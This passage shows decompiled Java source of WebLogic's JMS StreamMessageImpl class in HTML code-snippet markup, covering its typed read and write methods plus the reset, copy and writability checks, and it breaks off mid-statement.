(ArrayIndexOutOfBoundsException var7) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamReadErrorIndexLoggable().getMessage(), var7);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (ArrayStoreException var8) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamReadErrorStoreLoggable().getMessage(), var8);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Object <span class="code-snippet__title">readObject</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">1</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> Boolean(<span class="code-snippet__keyword">this</span>.bis.readBoolean());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> Byte(<span class="code-snippet__keyword">this</span>.bis.readByte());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">3</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> Character(<span class="code-snippet__keyword">this</span>.bis.readChar());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">4</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> Double(<span class="code-snippet__keyword">this</span>.bis.readDouble());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">5</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> Float(<span class="code-snippet__keyword">this</span>.bis.readFloat());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">6</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> Integer(<span class="code-snippet__keyword">this</span>.bis.readInt());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">7</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> Long(<span class="code-snippet__keyword">this</span>.bis.readLong());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">8</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> Short(<span class="code-snippet__keyword">this</span>.bis.readShort());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.readStringInternal(var1);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.readStringInternal(var1);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">11</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__string">&#34;Can not read next data. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">int</span> var2 = <span class="code-snippet__keyword">this</span>.bis.readInt();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">byte</span>[] var3 = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[var2];</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">int</span> var4 = <span class="code-snippet__keyword">this</span>.bis.read(var3, <span class="code-snippet__number">0</span>, var2);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (var4 != var2) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> EOFException(<span class="code-snippet__string">&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> var3;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">12</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.bis.unput();</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__string">&#34;Object&#34;</span>));</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var5) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd(), var5);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var6) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(), var6);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeBoolean</span><span class="code-snippet__params">(<span class="code-snippet__keyword">boolean</span> var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeBoolean(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(<span class="code-snippet__number">10</span>), var3);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeByte</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span> var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">2</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeByte(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(<span class="code-snippet__number">20</span>), var3);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeShort</span><span class="code-snippet__params">(<span class="code-snippet__keyword">short</span> var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">8</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeShort(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(<span class="code-snippet__number">30</span>), var3);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeChar</span><span class="code-snippet__params">(<span class="code-snippet__keyword">char</span> var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">3</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeChar(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(<span class="code-snippet__number">40</span>), var3);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeInt</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">6</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeInt(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(<span class="code-snippet__number">50</span>), var3);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeLong</span><span class="code-snippet__params">(<span class="code-snippet__keyword">long</span> var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">7</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeLong(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var4) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(<span class="code-snippet__number">60</span>), var4);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeFloat</span><span class="code-snippet__params">(<span class="code-snippet__keyword">float</span> var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">5</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeFloat(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(<span class="code-snippet__number">70</span>), var3);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeDouble</span><span class="code-snippet__params">(<span class="code-snippet__keyword">double</span> var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">4</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeDouble(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var4) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(<span class="code-snippet__number">80</span>), var4);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeString</span><span class="code-snippet__params">(String var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (var1 == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">12</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.writeStringInternal(var1);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(), var3);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeBytes</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.writeBytes(var1, <span class="code-snippet__number">0</span>, var1.length);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeBytes</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] var1, <span class="code-snippet__keyword">int</span> var2, <span class="code-snippet__keyword">int</span> var3)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (var1 == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> NullPointerException();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">11</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.bos.writeInt(var3);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.bos.write(var1, var2, var3);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (IOException var5) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamWriteError(<span class="code-snippet__number">100</span>), var5);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeObject</span><span class="code-snippet__params">(Object var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> Boolean) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeBoolean((Boolean)var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> Number) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> Byte) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.writeByte((Byte)var1);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> Double) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.writeDouble((Double)var1);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> Float) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.writeFloat((Float)var1);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> Integer) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.writeInt((Integer)var1);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> Long) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.writeLong((Long)var1);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> Short) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.writeShort((Short)var1);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> Character) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeChar((Character)var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> String) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeString((String)var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (var1 <span class="code-snippet__keyword">instanceof</span> <span class="code-snippet__keyword">byte</span>[]) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeBytes((<span class="code-snippet__keyword">byte</span>[])((<span class="code-snippet__keyword">byte</span>[])var1));</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (var1 != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__string">&#34;Invalid Type: &#34;</span> + var1.getClass().getName());</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">12</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">reset</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.setBodyWritable(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.bis != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.bis.reset();</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (IOException var2) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">217</span>), var2);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.bos != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.payload = (PayloadStream)<span class="code-snippet__keyword">this</span>.bos.moveToPayload();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.copyOnWrite = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> MessageImpl <span class="code-snippet__title">copy</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        StreamMessageImpl var1 = <span class="code-snippet__keyword">new</span> StreamMessageImpl();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>.copy(var1);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.bos != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            var1.payload = <span class="code-snippet__keyword">this</span>.bos.copyPayloadWithoutSharedStream();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.payload != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            var1.payload = <span class="code-snippet__keyword">this</span>.payload.copyPayloadWithoutSharedStream();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        var1.copyOnWrite = <span class="code-snippet__keyword">this</span>.copyOnWrite = <span class="code-snippet__keyword">true</span>;</span></code><code><span class="code-snippet_outer">        var1.setBodyWritable(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">        var1.setPropertiesWritable(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">checkWritable</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>.writeMode();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.bos == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos = PayloadFactoryImpl.createOutputStream();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.copyOnWrite) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.copyBuffer();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.copyOnWrite = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">checkReadable</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>.readMode();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.payload == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">500</span>));</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.bis == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.bis 